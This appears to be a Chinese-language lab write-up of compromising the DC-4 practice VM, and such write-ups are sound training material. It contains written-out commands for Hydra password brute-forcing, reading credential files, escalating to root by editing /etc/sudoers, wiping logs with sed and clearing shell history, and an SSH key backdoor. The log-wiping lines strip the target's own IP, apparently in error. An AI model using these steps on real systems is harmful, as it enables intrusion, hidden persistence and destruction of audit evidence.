☰
DC-4靶机渗透实战:从信息搜集到权限提升
2026/11/3 17:27:13 网站建设 项目流程

1. DC-4靶机渗透实战:从信息搜集到权限提升的全过程解析

作为一名网络安全从业者,我最近在练习DC系列靶机时遇到了DC-4这个有趣的挑战。相比DC-3,它的难度有所降低,但对信息搜集能力提出了更高要求。下面我将详细记录整个渗透过程,特别是一些关键节点的突破思路和实用技巧。

1.1 初始信息搜集与突破口选择

开始任何渗透测试前,信息搜集都是最关键的第一步。我首先使用nmap对目标网络进行扫描:

nmap -sn 10.254.85.0/24 # 发现活跃主机 nmap -sV -p- 10.254.85.123 # 全面扫描目标端口和服务

扫描结果显示目标开放了SSH服务(22端口)和一个Web服务(80端口)。访问Web界面发现是个简单的登录页面,没有其他明显功能点。

经验之谈:在只有登录界面的情况下,我通常会先尝试以下方法:

  1. 查看页面源代码寻找线索
  2. 使用常见目录扫描工具(如dirsearch)探测隐藏路径
  3. 检查是否有明显的CMS或框架特征

1.2 Web应用弱口令爆破实战

目录扫描没有发现特别有价值的信息后,我决定尝试弱口令爆破。这里有几个关键决策点:

  1. 用户名选择:在没有其他线索时,"admin"是最常见的默认用户名
  2. 密码字典选择:使用经过验证的rockyou.txt字典
  3. 爆破工具选择:Hydra是这类任务的可靠选择

具体爆破命令如下:

hydra -l admin -P rockyou.txt 10.254.85.123 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

参数解析:

  • -l admin:指定用户名
  • -P rockyou.txt:指定密码字典
  • http-post-form:指定使用HTTP POST表单方式
  • S=logout:设置成功登录的标志(页面出现logout字样)

经过一段时间爆破,成功获取到凭证:admin/happy。这个组合虽然简单,但在实际环境中仍经常出现。

2. 深入系统内部的权限提升之路

2.1 从Web后台到系统访问

登录后台后,发现是个简单的命令执行界面。通过Burp Suite拦截请求,可以修改参数执行任意命令:

# 查找可能包含敏感信息的文件 find / -iname "*password*" 2>/dev/null

这个命令发现了两个关键文件:

  • /home/jim/backups/old-passwords.bak(备份文件)
  • 其他一些可能包含密码信息的文件

查看/etc/passwd确认系统存在三个用户:root、jim和charles。通过查看jim的备份文件,获取到一组历史密码。

2.2 SSH爆破与用户切换

有了可能的密码列表,下一步就是尝试SSH登录:

hydra -l jim -P passwd.txt ssh://10.254.85.123

成功爆破出jim的密码:jibril04。通过SSH登录后,系统提示有新邮件,这引导我们查找邮件文件。

重要技巧:Linux系统中用户邮件通常存储在/var/mail或/var/spool/mail目录下,文件名与用户名相同。这个知识点在实际渗透中非常有用。

2.3 利用邮件信息横向移动

查看jim的邮件发现重要信息:charles用户要去休假,并留下了他的账户密码。这使我们能够切换到charles用户:

su charles # 输入邮件中提供的密码

切换到charles后,检查sudo权限:

sudo -l

发现charles可以无密码执行/usr/bin/teehee命令。这个命令类似于tee,可以用于文件写入。

3. 权限提升与系统控制

3.1 利用sudo权限漏洞提权

通过分析,我们可以利用teehee的写入权限修改/etc/sudoers文件:

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

这条命令的作用是:

  1. 输出sudoers配置规则
  2. 通过管道传递给teehee命令
  3. 以sudo权限追加到/etc/sudoers文件

现在charles可以无密码执行任何sudo命令,直接获取root权限:

sudo su root

3.2 后渗透阶段:痕迹清理

获得root权限后,应当清理渗透痕迹。主要清理以下几类日志:

Web日志清理:

sed -i '/10.254.85.123/d' /var/log/nginx/access.log sed -i '/10.254.85.123/d' /var/log/nginx/error.log

系统日志清理:

sed -i '/10.254.85.123/d' /var/log/auth.log sed -i '/10.254.85.123/d' /var/log/syslog

历史记录清理:

history -c set +o history # 临时禁用历史记录

4. SSH持久化后门技术详解

4.1 密钥对生成与配置

在攻击机上生成专用密钥对:

cd ~/.ssh ssh-keygen -t rsa -b 4096 -f dc4_backdoor # 不设置密码

将公钥写入目标的authorized_keys文件:

mkdir -p /root/.ssh chmod 700 /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys

4.2 SSH认证原理深度解析

SSH公钥认证的核心是非对称加密:

  1. 客户端持有私钥,服务器存储公钥
  2. 认证时,服务器发送随机挑战
  3. 客户端用私钥签名后返回
  4. 服务器用公钥验证签名

这种机制的安全优势在于:

  • 私钥始终不离开客户端
  • 每次认证使用不同的随机数,防止重放攻击
  • 数学上难以从公钥推导私钥

4.3 权限设置的重要性

正确的文件权限对SSH认证至关重要:

  • .ssh目录应为700(仅所有者可读写执行)
  • authorized_keys文件应为600(仅所有者可读写)
  • 权限不当会导致SSH拒绝使用密钥认证

5. 渗透测试经验总结与反思

这次DC-4靶机渗透过程中,有几个关键点值得注意:

  1. 信息搜集的全面性:从Web登录到系统内部,每个环节都需要仔细寻找线索
  2. 密码重用问题:用户在不同服务间重用密码是常见弱点
  3. 权限配置错误:不当的sudo配置是提权的常见突破口
  4. 日志清理的必要性:完整的渗透流程应包括痕迹清理

在实际工作中,渗透测试完成后应当提供详细的安全加固建议,帮助客户修复发现的问题。这次练习再次验证了一个真理:充分的信息搜集是成功渗透的基础。正如安全领域那句名言所说:"最好的漏洞扫描器是你大脑,而燃料是充分的信息"。

通过这次靶机练习,我不仅巩固了常见渗透技术,更重要的是培养了系统性思考的能力。每个环节的突破都建立在对前一步信息的充分利用上,这种串联思维在实际工作中至关重要。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询